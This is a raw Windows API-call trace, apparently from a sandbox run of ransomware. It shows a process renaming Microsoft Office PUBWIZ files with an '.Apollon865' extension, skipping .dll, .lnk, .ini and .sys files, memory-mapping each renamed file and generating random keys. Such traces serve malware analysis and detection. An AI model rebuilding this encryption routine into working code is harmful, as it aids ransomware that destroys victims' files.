	[0067.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.114] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1366) returned 1
	[0067.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.114] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.115] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.115] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.115] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x860, lpName=0x0) returned 0x100
	[0067.116] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x860) returned 0x100000
	[0067.122] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.122] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.122] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.123] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGREPFRM.DPV" | out: lpString1="DGREPFRM.DPV") returned="DGREPFRM.DPV"
	[0067.123] lstrlenW (lpString="DGREPFRM.DPV") returned 12
	[0067.123] lstrlenW (lpString="Apollon865") returned 10
	[0067.123] lstrcmpiW (lpString1="REPFRM.DPV", lpString2="Apollon865") returned 1
	[0067.123] lstrlenW (lpString=".dll") returned 4
	[0067.123] lstrcmpiW (lpString1="DGREPFRM.DPV", lpString2=".dll") returned 1
	[0067.123] lstrlenW (lpString=".lnk") returned 4
	[0067.123] lstrcmpiW (lpString1="DGREPFRM.DPV", lpString2=".lnk") returned 1
	[0067.123] lstrlenW (lpString=".ini") returned 4
	[0067.123] lstrcmpiW (lpString1="DGREPFRM.DPV", lpString2=".ini") returned 1
	[0067.123] lstrlenW (lpString=".sys") returned 4
	[0067.123] lstrcmpiW (lpString1="DGREPFRM.DPV", lpString2=".sys") returned 1
	[0067.123] lstrlenW (lpString="DGREPFRM.DPV") returned 12
	[0067.123] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGREPFRM.XML" | out: lpString1="DGREPFRM.XML") returned="DGREPFRM.XML"
	[0067.123] lstrlenW (lpString="DGREPFRM.XML") returned 12
	[0067.123] lstrlenW (lpString="Apollon865") returned 10
	[0067.123] lstrcmpiW (lpString1="REPFRM.XML", lpString2="Apollon865") returned 1
	[0067.123] lstrlenW (lpString=".dll") returned 4
	[0067.123] lstrcmpiW (lpString1="DGREPFRM.XML", lpString2=".dll") returned 1
	[0067.123] lstrlenW (lpString=".lnk") returned 4
	[0067.124] lstrcmpiW (lpString1="DGREPFRM.XML", lpString2=".lnk") returned 1
	[0067.124] lstrlenW (lpString=".ini") returned 4
	[0067.124] lstrcmpiW (lpString1="DGREPFRM.XML", lpString2=".ini") returned 1
	[0067.124] lstrlenW (lpString=".sys") returned 4
	[0067.124] lstrcmpiW (lpString1="DGREPFRM.XML", lpString2=".sys") returned 1
	[0067.124] lstrlenW (lpString="DGREPFRM.XML") returned 12
	[0067.124] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.Apollon865") returned 73
	[0067.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.125] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1884) returned 1
	[0067.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.125] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.126] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.126] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.126] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa60, lpName=0x0) returned 0x100
	[0067.135] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa60) returned 0x100000
	[0067.135] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.136] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.136] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.137] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGSIDEBR.DPV" | out: lpString1="DGSIDEBR.DPV") returned="DGSIDEBR.DPV"
	[0067.137] lstrlenW (lpString="DGSIDEBR.DPV") returned 12
	[0067.137] lstrlenW (lpString="Apollon865") returned 10
	[0067.137] lstrcmpiW (lpString1="SIDEBR.DPV", lpString2="Apollon865") returned 1
	[0067.137] lstrlenW (lpString=".dll") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.DPV", lpString2=".dll") returned 1
	[0067.137] lstrlenW (lpString=".lnk") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.DPV", lpString2=".lnk") returned 1
	[0067.137] lstrlenW (lpString=".ini") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.DPV", lpString2=".ini") returned 1
	[0067.137] lstrlenW (lpString=".sys") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.DPV", lpString2=".sys") returned 1
	[0067.137] lstrlenW (lpString="DGSIDEBR.DPV") returned 12
	[0067.137] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGSIDEBR.XML" | out: lpString1="DGSIDEBR.XML") returned="DGSIDEBR.XML"
	[0067.137] lstrlenW (lpString="DGSIDEBR.XML") returned 12
	[0067.137] lstrlenW (lpString="Apollon865") returned 10
	[0067.137] lstrcmpiW (lpString1="SIDEBR.XML", lpString2="Apollon865") returned 1
	[0067.137] lstrlenW (lpString=".dll") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.XML", lpString2=".dll") returned 1
	[0067.137] lstrlenW (lpString=".lnk") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.XML", lpString2=".lnk") returned 1
	[0067.137] lstrlenW (lpString=".ini") returned 4
	[0067.137] lstrcmpiW (lpString1="DGSIDEBR.XML", lpString2=".ini") returned 1
	[0067.138] lstrlenW (lpString=".sys") returned 4
	[0067.138] lstrcmpiW (lpString1="DGSIDEBR.XML", lpString2=".sys") returned 1
	[0067.138] lstrlenW (lpString="DGSIDEBR.XML") returned 12
	[0067.138] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.Apollon865") returned 73
	[0067.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.144] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8398) returned 1
	[0067.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.145] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.146] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.146] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.146] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23d0, lpName=0x0) returned 0x100
	[0067.147] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23d0) returned 0x100000
	[0067.148] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.149] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.149] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.149] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.150] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGSIDEBRV.XML" | out: lpString1="DGSIDEBRV.XML") returned="DGSIDEBRV.XML"
	[0067.150] lstrlenW (lpString="DGSIDEBRV.XML") returned 13
	[0067.150] lstrlenW (lpString="Apollon865") returned 10
	[0067.150] lstrcmpiW (lpString1="IDEBRV.XML", lpString2="Apollon865") returned 1
	[0067.150] lstrlenW (lpString=".dll") returned 4
	[0067.150] lstrcmpiW (lpString1="DGSIDEBRV.XML", lpString2=".dll") returned 1
	[0067.150] lstrlenW (lpString=".lnk") returned 4
	[0067.150] lstrcmpiW (lpString1="DGSIDEBRV.XML", lpString2=".lnk") returned 1
	[0067.150] lstrlenW (lpString=".ini") returned 4
	[0067.150] lstrcmpiW (lpString1="DGSIDEBRV.XML", lpString2=".ini") returned 1
	[0067.150] lstrlenW (lpString=".sys") returned 4
	[0067.150] lstrcmpiW (lpString1="DGSIDEBRV.XML", lpString2=".sys") returned 1
	[0067.150] lstrlenW (lpString="DGSIDEBRV.XML") returned 13
	[0067.150] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.Apollon865") returned 74
	[0067.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.153] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3558) returned 1
	[0067.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.153] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.154] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.154] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.154] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10f0, lpName=0x0) returned 0x100
	[0067.155] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10f0) returned 0x100000
	[0067.156] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.157] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.157] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.157] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGSTORY.XML" | out: lpString1="DGSTORY.XML") returned="DGSTORY.XML"
	[0067.157] lstrlenW (lpString="DGSTORY.XML") returned 11
	[0067.157] lstrlenW (lpString="Apollon865") returned 10
	[0067.157] lstrcmpiW (lpString1="GSTORY.XML", lpString2="Apollon865") returned 1
	[0067.157] lstrlenW (lpString=".dll") returned 4
	[0067.157] lstrcmpiW (lpString1="DGSTORY.XML", lpString2=".dll") returned 1
	[0067.157] lstrlenW (lpString=".lnk") returned 4
	[0067.157] lstrcmpiW (lpString1="DGSTORY.XML", lpString2=".lnk") returned 1
	[0067.157] lstrlenW (lpString=".ini") returned 4
	[0067.158] lstrcmpiW (lpString1="DGSTORY.XML", lpString2=".ini") returned 1
	[0067.158] lstrlenW (lpString=".sys") returned 4
	[0067.158] lstrcmpiW (lpString1="DGSTORY.XML", lpString2=".sys") returned 1
	[0067.158] lstrlenW (lpString="DGSTORY.XML") returned 11
	[0067.158] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.Apollon865") returned 72
	[0067.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.160] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2948) returned 1
	[0067.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.160] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.161] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.161] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.161] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe90, lpName=0x0) returned 0x100
	[0067.162] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe90) returned 0x100000
	[0067.163] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.164] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.164] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.165] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGSTORYVERT.XML" | out: lpString1="DGSTORYVERT.XML") returned="DGSTORYVERT.XML"
	[0067.165] lstrlenW (lpString="DGSTORYVERT.XML") returned 15
	[0067.165] lstrlenW (lpString="Apollon865") returned 10
	[0067.165] lstrcmpiW (lpString1="RYVERT.XML", lpString2="Apollon865") returned 1
	[0067.165] lstrlenW (lpString=".dll") returned 4
	[0067.165] lstrcmpiW (lpString1="DGSTORYVERT.XML", lpString2=".dll") returned 1
	[0067.165] lstrlenW (lpString=".lnk") returned 4
	[0067.165] lstrcmpiW (lpString1="DGSTORYVERT.XML", lpString2=".lnk") returned 1
	[0067.165] lstrlenW (lpString=".ini") returned 4
	[0067.165] lstrcmpiW (lpString1="DGSTORYVERT.XML", lpString2=".ini") returned 1
	[0067.165] lstrlenW (lpString=".sys") returned 4
	[0067.165] lstrcmpiW (lpString1="DGSTORYVERT.XML", lpString2=".sys") returned 1
	[0067.165] lstrlenW (lpString="DGSTORYVERT.XML") returned 15
	[0067.165] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.Apollon865") returned 76
	[0067.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.167] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2948) returned 1
	[0067.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.167] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.168] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.168] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.168] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe90, lpName=0x0) returned 0x100
	[0067.169] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe90) returned 0x100000
	[0067.170] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.171] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.171] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.171] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGTEAR.DPV" | out: lpString1="DGTEAR.DPV") returned="DGTEAR.DPV"
	[0067.171] lstrlenW (lpString="DGTEAR.DPV") returned 10
	[0067.172] lstrlenW (lpString="Apollon865") returned 10
	[0067.172] lstrlenW (lpString=".dll") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTEAR.DPV", lpString2=".dll") returned 1
	[0067.172] lstrlenW (lpString=".lnk") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTEAR.DPV", lpString2=".lnk") returned 1
	[0067.172] lstrlenW (lpString=".ini") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTEAR.DPV", lpString2=".ini") returned 1
	[0067.172] lstrlenW (lpString=".sys") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTEAR.DPV", lpString2=".sys") returned 1
	[0067.172] lstrlenW (lpString="DGTEAR.DPV") returned 10
	[0067.172] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGTOC.DPV" | out: lpString1="DGTOC.DPV") returned="DGTOC.DPV"
	[0067.172] lstrlenW (lpString="DGTOC.DPV") returned 9
	[0067.172] lstrlenW (lpString="Apollon865") returned 10
	[0067.172] lstrlenW (lpString=".dll") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.DPV", lpString2=".dll") returned 1
	[0067.172] lstrlenW (lpString=".lnk") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.DPV", lpString2=".lnk") returned 1
	[0067.172] lstrlenW (lpString=".ini") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.DPV", lpString2=".ini") returned 1
	[0067.172] lstrlenW (lpString=".sys") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.DPV", lpString2=".sys") returned 1
	[0067.172] lstrlenW (lpString="DGTOC.DPV") returned 9
	[0067.172] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGTOC.XML" | out: lpString1="DGTOC.XML") returned="DGTOC.XML"
	[0067.172] lstrlenW (lpString="DGTOC.XML") returned 9
	[0067.172] lstrlenW (lpString="Apollon865") returned 10
	[0067.172] lstrlenW (lpString=".dll") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.XML", lpString2=".dll") returned 1
	[0067.172] lstrlenW (lpString=".lnk") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.XML", lpString2=".lnk") returned 1
	[0067.172] lstrlenW (lpString=".ini") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.XML", lpString2=".ini") returned 1
	[0067.172] lstrlenW (lpString=".sys") returned 4
	[0067.172] lstrcmpiW (lpString1="DGTOC.XML", lpString2=".sys") returned 1
	[0067.173] lstrlenW (lpString="DGTOC.XML") returned 9
	[0067.173] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.Apollon865") returned 70
	[0067.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.175] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5906) returned 1
	[0067.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.175] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.176] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
